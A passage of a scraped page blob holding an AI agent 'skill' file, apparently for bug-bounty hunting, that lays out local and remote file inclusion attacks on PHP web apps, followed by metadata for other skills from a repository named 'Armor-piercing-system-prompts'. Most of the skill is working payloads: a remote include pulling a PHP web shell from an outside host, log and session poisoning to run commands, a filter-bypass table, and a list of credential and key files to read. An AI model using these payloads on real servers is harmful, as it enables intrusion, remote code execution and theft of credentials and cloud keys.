then:\n?file=http:\u002F\u002FOOB-HOST\u002Fshell.txt          # shell.txt contains \u003C?php system($_GET['c']); ?>\n?file=https:\u002F\u002FOOB-HOST\u002Fshell.txt?\n?file=ftp:\u002F\u002FOOB-HOST\u002Fshell.txt\n# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the\n# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.\n# Bypass appended extension (?file=$x.\".php\"): trailing ? or # to truncate, or ?file=http:\u002F\u002FOOB\u002Fshell\n```\n\n### Phase 7 — Log Poisoning → RCE\n```bash\n# Step 1: inject PHP into a log the include can read\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"User-Agent: \u003C?php system(\\$_GET['c']); ?>\"\n# Step 2: include it (verify the log is readable first — read it plain before poisoning)\n?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&c=id\n?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&c=id\n?file=\u002Fproc\u002Fself\u002Ffd\u002F0&c=id                  # stdin fd (varies)\n# Candidate logs: \u002Fvar\u002Flog\u002Fapache2\u002Faccess.log \u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log\n#   \u002Fvar\u002Flog\u002Fnginx\u002Faccess.log \u002Fvar\u002Flog\u002Fauth.log (SSH user poisoning) \u002Fproc\u002Fself\u002Fenviron\n```\n\n### Phase 8 — Session \u002F Upload Poisoning\n```bash\n# PHP session: set payload in a stored field (username\u002Fprofile), then include the session file\n?file=\u002Fvar\u002Flib\u002Fphp\u002Fsessions\u002Fsess_\u003CPHPSESSID>&c=id\n?file=\u002Ftmp\u002Fsess_\u003CPHPSESSID>&c=id\n# phar:\u002F\u002F object injection (needs an unserialize-on-metadata sink + any file upload):\n?file=phar:\u002F\u002F\u002Fvar\u002Fwww\u002Fuploads\u002Fevil.jpg     # JPEG magic bytes prepended to a PHAR\n# zip:\u002F\u002F — archive containing the target, or a symlink to \u002Fetc\u002Fpasswd\n?file=zip:\u002F\u002F\u002Fvar\u002Fwww\u002Fuploads\u002Fa.zip%23path\u002Finside.txt\n```\n\n### Phase 8b — Archive-extraction & image-processing sinks (no `?file=` needed)\nTwo LFI\u002Ftraversal surfaces that are not query-parameter file reads:\n- **Zip Slip \u002F tar-symlink escape** — a server that untars\u002Funzips a user-supplied archive follows `..\u002F..\u002F` entry names or embedded symlinks (tar preserves them) to read\u002Fwrite outside the extraction dir. Craft an archive entry named `..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fx`, or a symlink pointing at `\u002Fetc\u002Fpasswd`; confirm by writing a unique canary outside the upload dir. Disclosed: reports\u002F1439593, reports\u002F733072, reports\u002F822262.\n- **ImageMagick coder read-sink** — image convert\u002Fthumbnail\u002Favatar features read local files via MSL\u002FMVG coders even with no file parameter: filename\u002Flabel `label:@\u002Fetc\u002Fpasswd`, or an MSL payload (`\u003Cimage xlink:href=\"msl:\u002Fetc\u002Fpasswd\">`) plus `msl:`\u002F`ephemeral:` pseudo-protocols (ImageTragick CVE-2016-3714 family). Disclosed: reports\u002F1858574. Pairs with `hunt-file-upload`.\n\n### Phase 9 — Automation (then manual-confirm everything)\n```bash\nffuf -u \"https:\u002F\u002F$TARGET\u002Fpage.php?file=FUZZ\" -w ~\u002Fwordlists\u002Flfi.txt -mc all -fr \"not found\"\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fwfuzz\u002Fwordlist\u002Fvulns\u002Flfi.txt --hh \u003Cbaseline-len> \\\n  \"https:\u002F\u002F$TARGET\u002Fpage.php?file=FUZZ\"\ndotdotpwn -m http -h $TARGET -o unix\n# Burp: Intruder over the bypass table; Collaborator for blind\u002FRFI confirmation.\n```\n\n---\n\n## Named CVEs \u002F Public Techniques (grounding)\n\nVerified, correctly-attributed references for the patterns above:\n- **PHP filter-chain to RCE** — Synacktiv research (2022); `php_filter_chain_generator`. Not a CVE; an abuse of documented `iconv` behaviour. The reason a bare file-read upgrades to Critical.\n- **CVE-2021-41773** — Apache HTTP Server 2.4.49 path traversal (`%2e` in normalized path) → file read, and RCE when `mod_cgi` is enabled.\n- **CVE-2021-42013** — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded `%%32%65`) → traversal\u002FRCE.\n- **CVE-2024-4577** — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.\n\n> Grounding note: this skill is built from 31 disclosed LFI\u002Fpath-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL\u002FID you used — do **not** paraphrase a report ID from memory. A wrong ID is worse than none.\n\n---\n\n## Sensitive Files to Read\n```\n# Linux\n\u002Fetc\u002Fpasswd  \u002Fetc\u002Fhosts  \u002Fetc\u002Fshadow (rarely readable)\n\u002Fproc\u002Fself\u002Fenviron  \u002Fproc\u002Fself\u002Fcmdline  \u002Fproc\u002Fself\u002Fstatus\n\u002Fvar\u002Fwww\u002Fhtml\u002F.env  \u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fhome\u002F*\u002F.ssh\u002Fid_rsa  \u002Froot\u002F.ssh\u002Fid_rsa  \u002Froot\u002F.bash_history\n\u002Fvar\u002Fwww\u002Fhtml\u002Fapp\u002Fconfig\u002Fparameters.yml   # Symfony\n.git\u002Fconfig  .git\u002FHEAD  composer.json  package.json\n# App \u002F cloud secrets\n\u002Fproc\u002Fself\u002Fenviron  ~\u002F.aws\u002Fcredentials  ~\u002F.docker\u002Fconfig.json  \u002Frun\u002Fsecrets\u002F*\n# Windows \u002F .NET\nC:\\Windows\\win.ini  C:\\inetpub\\wwwroot\\web.config  ..\\..\\web.config\nC:\\Windows\\System32\\inetsrv\\config\\applicationHost.config\n```\n\n---\n\n## Bypass Table\n\n| Filter | Bypass |\n|--------|--------|\n| Strips `..\u002F` once | `....\u002F\u002F` or `....\u002F\\` (re-forms `..\u002F` after strip) |\n| URL-decodes once | `%252f` (double-encode `\u002F`), `%252e` for dots |\n| Decodes once, blocks `..` | Encode dots: `%2e%2e%2f` \u002F overlong `%c0%ae` (legacy) |\n| Appends `.php` to input | `?` or `#` truncation; null byte `%00` (PHP \u003C 5.3.4) |\n| Blocks `php:\u002F\u002F` scheme | try `PHP:\u002F\u002F`, `pHp:\u002F\u002F`, or `data:\u002F\u002F` \u002F `expect:\u002F\u002F` |\n| Prepends fixed base dir | enough `..\u002F` to escape; or absolute path if no base prepend |\n| Blocks `\u002Fetc\u002Fpasswd` literal | path-truncation, `\u002Fetc\u002F.\u002Fpasswd`, `\u002Fetc\u002F\u002Fpasswd` |\n| WAF on long filter-chains | move chain to POST body \u002F minimize payload |\n| Windows | `..\\..\\..\\windows\\win.ini`, `..%5c..%5c` |\n\n---\n\n## Chain Table\n\n| LFI primitive | Chain to | Impact |\n|---------------|----------|--------|\n| `php:\u002F\u002Ffilter` read | **filter-chain RCE (Phase 4)** | RCE with no upload — **Critical** |\n| File read | `.env` \u002F `config.php` \u002F `wp-config.php` | DB creds, API keys → backend takeover |\n| File read | `\u002Fproc\u002Fself\u002Fenviron`, `~\u002F.aws\u002Fcredentials` | env secrets, cloud keys → SSRF\u002FIAM pivot |\n| Remote URL include | RFI (`allow_url_include`) | direct RCE — **Critical** |\n| File read + upload | phar:\u002F\u002F \u002F log \u002F session poison | RCE — **Critical** |\n| Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |\n\n---\n\n## Validation Discipline\n\n**Direct-read proof (not a false positive):**\n- Show real *contents*, not your echoed path. `\u002Fetc\u002Fpasswd` must contain a literal `root:x:0:0:root:\u002Froot:` line. Diff the response against a known-good param value — the delta must be the file body, not a WAF\u002Ferror page.\n- For source reads, the **base64 must decode to valid PHP**. A garbage\u002Fempty decode = no real read.\n- Rule out reflection: confirm the marker text is not simply your input bounced back. Request `\u002Fetc\u002Fpasswd` and `\u002Fetc\u002Fpasswd_\u003Crand>` (non-existent) — only the real file returns content.\n\n**Blind \u002F OOB proof:**\n- No reflection? Use a php:\u002F\u002Ffilter-chain or RFI payload that calls back to a **unique Burp Collaborator subdomain**. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink.\n- Timing\u002Flength blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract.\n\n**Partial \u002F truncated reads:**\n- Templating may HTML-escape or cut the file. Use `php:\u002F\u002Ffilter\u002Fconvert.base64-encode` so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.\n\n**RCE proof:** show command output you control — `id` \u002F `whoami` \u002F `hostname` reflected, or an OOB callback from inside the executed payload (`curl http:\u002F\u002F\u003Ccollab>\u002F`). \"The payload was accepted\" is not RCE.\n\n**Severity:**\n- Non-sensitive file read: **Medium**\n- File read exposing DB creds \u002F API keys \u002F private keys \u002F cloud creds: **High**\n- RCE via filter-chain \u002F RFI \u002F log \u002F session \u002F phar \u002F CVE: **Critical**\n",{"name":5,"sources":24,"description":7,"report_count":25},"hackerone_public, synacktiv_research, portswigger_research",24,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-lfi",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-lfi",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-lfi",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-lfi","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-lfi\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]